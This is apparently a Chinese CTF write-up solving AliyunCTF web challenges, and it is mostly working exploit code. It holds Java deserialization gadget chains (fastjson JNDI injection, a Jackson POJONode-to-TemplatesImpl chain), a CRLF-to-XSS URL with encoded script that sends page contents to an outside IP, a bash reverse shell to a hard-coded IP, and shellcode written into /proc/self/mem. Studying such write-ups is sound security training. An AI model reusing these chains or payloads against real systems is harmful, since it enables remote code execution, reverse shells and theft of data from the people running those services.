AliyunCTF部分web题解
2023-05-04 22:45:26

ezbean

直接通过fastjson触发com.ctf.ezser.bean.MyBean 的 getter,进而利用RMIConnector的jndi注入，使用elbypass 可以成功利用

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import com.alibaba.fastjson.JSONObject;
import com.ctf.ezser.bean.MyBean;
import com.ctf.ezser.utils.MyObjectInputStream;


import javax.management.BadAttributeValueExpException;
import javax.management.remote.JMXConnector;
import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.util.Base64;
public class ezbean {
    public static void setValue(Object obj, String name, Object value) throws Exception{
        Field field = obj.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        

//        String unStr = "service:jmx:rmi://180.76.154.33:1099/stub/"+b64str;
//        JMXServiceURL jmxServiceURL = new JMXServiceURL(unStr);

        JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
        setValue(jmxServiceURL,"urlPath","/jndi/rmi://180.76.154.33:1099/isjyqa");
        Object rmiConnector = new RMIConnector(jmxServiceURL, null);

        MyBean myBean = new MyBean(null,null, (JMXConnector) rmiConnector);
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("a",myBean);


        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Class cBadAttributeValueExpException = Class.forName("javax.management.BadAttributeValueExpException");
        Field fval = cBadAttributeValueExpException.getDeclaredField("val");
        fval.setAccessible(true);
        fval.set(badAttributeValueExpException,jsonObject);
        ByteArrayOutputStream baos1 = new ByteArrayOutputStream();
        ObjectOutputStream oos1 = new ObjectOutputStream(baos1);
        oos1.writeObject(badAttributeValueExpException);

        oos1.close();
        byte[] bytes1 = baos1.toByteArray();
        byte[] data = Base64.getEncoder().encode(bytes1);
        System.out.println(new String(data));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes1);
        MyObjectInputStream objectInputStream = new MyObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();
    }
}

Obsidian

CRLF->xss

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/note/025c938c-6e63-435f-8ddd-40cb53259639%0d%0aContent-Type%3A%20text%2Fhtml%3B%20charset%3Dutf-8%0d%0aContent-Length:400%0d%0a%0d%0aaaaa%3Cscript%3Eeval(atob("ZnVuY3Rpb24gcmVxTGlzdGVuZXIgKCkgCnsgCiAgICB2YXIgZW5jb2RlZCA9IGVuY29kZVVSSSh0aGlzLnJlc3BvbnNlVGV4dCk7CiAgICBsb2NhdGlvbi5ocmVmPSJodHRwOi8vMS4xMTcuNzMuMTE5OjIzMzMvP2RhdGE9IitlbmNvZGVkOyAKfSAKdmFyIG9SZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsgCm9SZXEuYWRkRXZlbnRMaXN0ZW5lcigibG9hZCIsIHJlcUxpc3RlbmVyKTsgCm9SZXEub3BlbigiR0VUIiwiL2Jsb2ciKTsgCm9SZXEuc2VuZCgpOw=="))%3C%2Fscript%3E

bypassIt I

需要挖掘新链子,看到下面配置感觉链子和jackson有关

类比fastjson链子来看，找到writeValueAsString 可以触发getter方法，接着就是找toString到writeValueAsString的链子

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match (source:Method) where source.NAME =~"toString"
match (sink:Method {}) where sink.NAME =~ "writeValueAsString"
with source, collect(sink) as sinks
call tabby.algo.findJavaGadget(source,sinks, 4, false, false) yield path 
where none(n in nodes(path) where (n.CLASSNAME = "a" or n.CLASSNAME = "b"))
return path limit 1

分析后有如下链子

BadAttributeValueExpException.readObject

com.fasterxml.jackson.databind.node.BaseJsonNode.toString

com.fasterxml.jackson.databind.node.InternalNodeMapper.nodeToString

com.fasterxml.jackson.databind.ObjectWriter.writeValueAsString

->getter (接templateimpl链子)

然后写exp

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package com.ctf.bypassit;


import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class exploit {
    public static void setFieldValue(Object object,String filedName,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = object.getClass().getDeclaredField(filedName);
        field.setAccessible(true);
        field.set(object,value);
    }
    public static void main(String[] args) throws Exception {

        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.makeClass("a");
        CtClass superClass = pool.get(AbstractTranslet.class.getName());
        clazz.setSuperclass(superClass);

        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
        constructor.setBody("Runtime.getRuntime().exec(\"bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xODAuNzYuMTU0LjMzLzIzMzMgMD4mMQ==}|{base64,-d}|{bash,-i}\");");
//        constructor.setBody("System.out.println(123);");
        clazz.addConstructor(constructor);
        byte[][] bytes = new byte[][]{clazz.toBytecode()};
        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", bytes);
        setFieldValue(templates, "_name", "null");
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        POJONode pojoNode = new POJONode("abc");
        setFieldValue(pojoNode,"_value",templates);



        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("abcdefg");
        setFieldValue(badAttributeValueExpException,"val",pojoNode);
        ObjectOutputStream stream = new ObjectOutputStream(new FileOutputStream("bypass1.ser"));
        stream.writeObject(badAttributeValueExpException);
        stream.close();
        ByteArrayOutputStream baos1 = new ByteArrayOutputStream();
        ObjectOutputStream oos1 = new ObjectOutputStream(baos1);
        oos1.writeObject(badAttributeValueExpException);
        oos1.close();
        byte[] bytes1 = baos1.toByteArray();
        byte[] data = Base64.getEncoder().encode(bytes1);
        System.out.println(new String(data));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes1);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();

    }
}

在生成exp时要将com.fasterxml.jackson.databind.node.BaseJsonNode#writeReplace方法改成别的名字，不然生成序列化数据时传递不了对象

bypass2

与1一样，不过禁用了native层的系统调用，但是可以任意文件写，通过向/proc/self/mem中覆盖内存写shellcode达到rce

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import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;


public class exploit2 {
    public static void setFieldValue(Object object,String filedName,Object value) throws NoSuchFieldException, IllegalAccessException {
        Field field = object.getClass().getDeclaredField(filedName);
        field.setAccessible(true);
        field.set(object,value);
    }

    public static void main(String[] args) throws Exception {

        TemplatesImpl templates = TemplatesImpl.class.newInstance();
        setFieldValue(templates, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(Hack.class.getName()).toBytecode()
        });
        setFieldValue(templates, "_name", "hahahha");
        setFieldValue(templates, "_class", null);
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

        POJONode pojoNode = new POJONode("abc");
        setFieldValue(pojoNode,"_value",templates);

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException("aaa");
        setFieldValue(badAttributeValueExpException,"val",pojoNode);
        ObjectOutputStream stream = new ObjectOutputStream(new FileOutputStream("ppp.ser"));
        stream.writeObject(badAttributeValueExpException);
        stream.close();
        ByteArrayOutputStream baos1 = new ByteArrayOutputStream();
        ObjectOutputStream oos1 = new ObjectOutputStream(baos1);
        oos1.writeObject(badAttributeValueExpException);
        oos1.close();
        byte[] bytes1 = baos1.toByteArray();
        byte[] data = Base64.getEncoder().encode(bytes1);
        System.out.println(new String(data));

        ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes1);
        ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
        objectInputStream.readObject();

    }
}
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.*;
import java.util.Base64;

public class Hack extends AbstractTranslet {


    public Hack() throws Exception {


        String b64_shell = "ailYagJfagFemQ8FSInFSLgBAQEBAQEBAVBIuAMBCBy1TZsgSDEEJGoqWEiJ72oQWkiJ5g8FagNeSP/OeAtWaiFYSInvDwXr72poSLgvYmluLy8vc1BIiedocmkBAYE0JAEBAQEx9lZqCF5IAeZWSInmMdJqO1gPBQ==";
        byte[] shellcode = Base64.getDecoder().decode(b64_shell);//len 137
//        byte[] padding = new byte[11665271];
//        for ( int i= 0 ;i<padding.length;i++)
//        {
//            padding[i] = (byte)144;
//        }
//        byte[] bt3 = new byte[padding.length+shellcode.length];
//        System.arraycopy(padding, 0, bt3, 0, padding.length);
//        System.arraycopy(shellcode, 0, bt3, padding.length, shellcode.length);

        FileReader fin  = new FileReader("/proc/self/maps");
        BufferedReader reader = new BufferedReader(fin);
        String line;
        long libbase = 0L;
        while ((line = reader.readLine()) != null)
        {
            String[] splits = line.trim().split(" ");
            if(line.endsWith("libc-2.31.so")) {
                String[] addr_range = splits[0].split("-");
                libbase = Long.parseLong(addr_range[0], 16);

                break;
            }
        }
        fin.close();
        System.out.println(libbase);

        File file = new File("/proc/self/mem");
        System.out.println(file);
        RandomAccessFile access = new RandomAccessFile(file, "rw");
//        access.seek(140556966499936L);
        access.seek(libbase+685664);
        byte[] bytes = new byte[20];
        access.write(shellcode);
        access.close();
//
//        RandomAccessFile access1 = new RandomAccessFile(file, "rw");
//        access1.seek(140422551896064L);
//        access1.read(bytes,0,20);
//        access1.close();
//        FileInputStream fis = new FileInputStream(file);
//        fis.read(bytes);
        FileOutputStream outputStream = new FileOutputStream("/tmp/mem_output");
        outputStream.write(bytes);
        outputStream.close();


    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }


}
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